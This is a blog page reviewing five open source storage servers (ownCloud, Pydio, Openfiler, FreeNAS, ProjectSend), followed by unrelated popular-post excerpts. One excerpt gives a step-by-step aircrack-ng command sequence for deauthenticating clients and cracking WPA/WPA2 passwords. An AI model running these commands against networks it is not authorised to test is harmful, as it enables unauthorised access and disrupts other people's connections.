Skip to main content

Five budget-friendly open source storage servers

Image
By

Storage is essential for the enterprise: Data must be stored. Data must be retrieved. Data must be shared. Data must be secured. At the same time, storage must not consume the entirety of your IT budget. Fortunately, you can find effective solutions in the world of open source.
Outside of cost effectiveness, one of the biggest benefits of these solutions is the ability to modify them to perfectly fit your needs. You can make minor changes or even roll your own storage solution based on one of these tools.
If you want enterprise support and a "solution in a can" that will meet just about any enterprise storage need, you should turn to Red Hat or SUSE. Both Linux-based companies offer some of the most powerful enterprise-ready tools on the market. But if you'd rather get your hands dirty and craft something of your own—something that won't demolish your budget—these five open source tools are a great place to start.

1: ownCloud

ownCloud (Figure A) is on the rise, faster than any cloud-based storage system. It's easy to use, it can be installed locally, and it offers desktop and mobile sync clients. The ownCloud solution is ideal for companies of all sizes that need a cloud storage solution for files, photos, contacts, and even a cloud-based calendar.

Figure A

Figure A
ownCloud is a powerful tool, and the sync client allows you to keep multiple folders in sync with your desktop. One feature that should appeal to enterprise clients is the ability to recover accidentally deleted files. ownCloud offers a Community edition and an Enterprise edition. In addition to the long list of features found in the Community edition, the Enterprise edition offers LDAP/Active Directory support, Single Sign In, Encryption 2.0 support, and much more.

2: Pydio

Pydio (formerly AjaXplorer) allows you to master a universe of files with an amazingly simple interface (Figure B). With the Pydio Sync tool, you can determine how sync occurs between server and clients, enabling real-time, manual, or time-based synchronization. You can also determine whether users can sync an entire workspace or only subfolders within a workspace.

Figure B

Figure B
File syncing can be paused to avoid data loss (should work need to be done on the server), and Pydio lets users share files internally and externally. In addition, it offers the ability to create public "mini-sites" for publishing lists of documents on the internet. It provides an outstanding plug-in system to extend your solution, as well.

3: Openfiler

Openfiler (Figure C) is a powerful network storage solution that offers file-based network attached storage (NAS) and block-based storage area networking (SAN) functionality in a single, cohesive framework. Because of its flexibility, Openfiler allows you to deploy either a SAN or NAS solution, both with a simple web-based interface.

Figure C

Figure C
Believe it or not, this solution can be up and running in no time. The block-based storage has point-in-time snapshot support with scheduling as well as online volume size expanding. Openfiler features Windows domain controller support as well as built-in Samba support.

4: FreeNAS

FreeNAS (Figure D) is a rock solid open source NAS solution that delivers all the features your enterprise needs in a NAS solution. With this storage-built operating system, you'll enjoy replication, data protection, encryption, snapshots, file sharing, and a powerful plug-in system... all in an easy-to-use web interface.

Figure D

Figure D
FreeNas also includes a powerful reporting tool that keeps track of CPUs, disks, memory, network, partition, and system usage.

5: ProjectSend

ProjectSend (Figure E) is a bit different. Although it can (and does) serve as a storage solution for documents and files, its primary focus is enabling your company to share those documents/files with clients. Not only can you easily send documents and files to clients (without having to rely on a third-party solution), your clients can also upload files to you with ease. You can add individual clients and even create/manage client groups for more control.

Figure E

Figure E
Uploaded files are given a title and description and can be easily searched using the built-in search function. ProjectSend also includes a powerful email template system, so you can create company-specific email for notifications like new file by user, new file by client, new client, new user, and password reset.

What's worked for you?

There are many open source storage solutions available to fit enterprise needs. Whether you want to shell out the budget for big-time support and service, like you'll find with SUSE, or you want to do it all in-house, open source has you covered.
Have you used any of the solutions discussed here? Share your thoughts and experiences with fellow TechRepublic members.

Comments

Post a Comment

Popular posts from this blog

Building a smarter home

By
The Jetsons  presented a highly entertaining vision of what  homes  of the future would  look like . The animated television show anticipated a world where humans would be able to do everything with just the push of a button. In many ways, the show turned out to be prophetic; today we have printable food, video chats, smartwatches and robots that help with housework — and flying cars may even be on the way. The challenge for companies is to integrate digital technologies in meaningful ways that enhance people’s  homes  and improve their lives. Many of the innovations to emerge over the past few years have been geared toward this kind of “push-button living.” Thanks to the rise of smartphones and the proliferation of cheap sensors, it is possible to make just about any household appliance “smart” and “connected.” By 2019,  companies are expected to ship 1.9 billion connected home devices, bringing in about $490 billion in revenue. ...
Post a Comment
Read more

Crack WPA & WPA2 with Aircrack-ng on Kali Linux

By
In this tutorial we are going to teach you How to crack WPA & WPA 2 with aircrack-ng on Kali Linux. We high recommend this for research or educational purpose only. Things we used for cracking WPA & WPA2: Alfa AWUSO36H Wireless Card Windows 7-64bit (works on 32bit) VMware Workstation Kali Linux 2.0 Command to crack WPA & WPA2: airmon-ng  sudo ifconfig wlan0 down sudo iwconfig wlan0 mode monitor sudo ifconfig wlan0 up airodump-ng wlan0  airodump-ng -c [channel id] --write [any name] --bssid [bssid of the wifi] wlan0 aireplay-ng --deauth 5 -a [bssid] -c [station id] wlan0 aircrack-ng -w [wordlist file] -b [bssid] [any name]-01.cap sudo ifconfig wlan0 down sudo iwcofnig wlan0 mode monitor sudo ifconfig wlan0 up  Here is a YouTube video on How to crack WPA and WPA2 with Aircrack-ng on Kali Linux: In the about tutorial we EVER hack our own systems as a proof of concept and never engage in any black hat activity.
Post a Comment
Read more

Facebook ‘Class Action’ Privacy Lawsuit Moves To Austrian Supreme Court

By
A privacy lawsuit filed against Facebook last year by Viennese lawyer and data privacy activist Max Schrems has moved up to Austria’s Supreme Court which will rule on whether the suit can be treated as a class action. When Schrems kicked off the suit, back in July 2014, he invited adult non-commercial Facebook users located anywhere outside the U.S. and Canada to join the suit for free — and tens of thousands of people quickly took up the invitation. The legal action focuses on multiple areas where the plaintiffs argue Facebook has been violating EU data protection laws, such as the absence of effective consent to many types of data use; the tracking of Internet users through external websites; and the monitoring and analysis of users via big data systems. Facebook’s participation in the NSA’s PRISM surveillance program is also part of the complaint. In July the case suffered a setback when an Austrian regional co...
Post a Comment
Read more

How ad-free subscriptions could solve Facebook

By
At the core of Facebook’s “well-being” problem is that its business is directly coupled with total time spent on its apps. The more hours you pass on the social network, the more ads you see and click, the more money it earns. That puts its plan to make using Facebook healthier at odds with its finances, restricting how far it’s willing to go to protect us from the harms of over use. The advertising-supported model comes with some big benefits, though. Facebook CEO Mark Zuckerberg has repeatedly said that “We will always keep Facebook a free service for everyone.” Ads lets Facebook remain free for those who don’t want to pay, and more importantly, for those around the world who couldn’t afford to. Ads pay for Facebook to keep the lights on, research and develop new technologies, and profit handsomely in a way that attracts top talent and further investment. More affluent users with more buying power in markets like the US, UK, and Canada command higher ad prices, effectively...
1 comment
Read more

eGym raises $45M Series C for cloud-connected gym equipment and fitness software

By
eGym , the Munich-based startup that offers cloud-connected gym equipment and supporting cloud software and app for the fitness training floor, has closed $45 million in Series C funding. The round was led by new investor HPE Growth Capital, while existing investors, including Highland Europe, also participated. The problem that eGym is looking to solve is that, whilst gyms have moved from a bodybuilder market to a mass market in the last 20 years, the technology in gyms lags behind. That’s despite the fact that better use of technology can help to reduce customer churn, the biggest pain-point of both gym operator and gym users. Comprising of an app for both gym user and trainer, combined with the company’s connected strength machines, the eGym Cloud makes it possible for gym members to receive better fitness instruction and an evolving and personalised fitness plan based on data collected as they workout. And by providing a better workout feedback loop, gym goers can get an i...
2 comments
Read more